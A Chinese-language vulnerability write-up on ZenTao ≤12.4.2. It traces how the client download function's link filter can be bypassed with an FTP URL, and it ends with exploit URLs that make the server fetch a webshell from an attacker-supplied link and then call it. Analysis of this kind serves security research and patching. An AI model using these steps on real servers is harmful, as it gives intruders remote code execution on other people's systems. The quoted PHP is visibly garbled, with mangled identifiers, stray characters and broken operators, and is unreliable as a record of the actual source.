禅道CMS管理软件 是国产的开源项目管理软件,专注研发项目管理,内置需求管理、任务管理、bug管理、缺陷管理、用例管理、计划发布等功能,实现了软件的完整生命周期管理。

环境说明

• 禅道≤12.4.2
• Kali Linux
• Burp Suite
• 帅气的脸蛋

漏洞分析

module/client/control.php:86

public function download( $version = '，$Link = '', $os = '){
set_ time_ limit( seconds: 0) ;
$result = $this->client->down LoadZipPackage( $version, $Link);
if($result == false) $this->send(arraxfresult' 点ifailien Imessage' $this->lang->client >downloadFail);
$client = $this->client- >edit ($version, $result, $os);
if($client == false) $this->send (arraxl result' =≥'failklen Imessage's wzn $this-2lang->client->saveClientError));
$this- >send(array( result' - 'success' ln 'client' =2 $clientr 1 message =2 $this-> lang->saveSuccess. 'Locate' => inlinkl methodName: ' browse')));
}

直接将参数传入 module，跟进 downloadZipPackage 函数，全局搜索发现有两个downloadZipPackage函数：

module/client/ext/model/xuanxuan.php:10

public function down LoadZipPackage ($version, $link)
{
$decodeL ink = helper: :sa fe64Decode( $Link);
if(preg_ match( pattern: ' /^https?\:\/\//',
$decodeL ink)) return false;
return parent: : downloadZipPackage($version, $Link);
}

对 link 参数进行过滤，如果正则匹配到 http[s]://则返回false，可以使用FTP协议绕过。

module/client/model.php:240base64 解密 link 参数后将下载文件至 data/client/ 拼接 version 参数的目录，无任何过滤。

调用路径：control -> ext module -> module

漏洞利用

Exploit：

http://192.168.123.33/client-download-1-(base64 encode webshell download link)-1.html
http://192.168.123.33/data/client/1/(download link filename)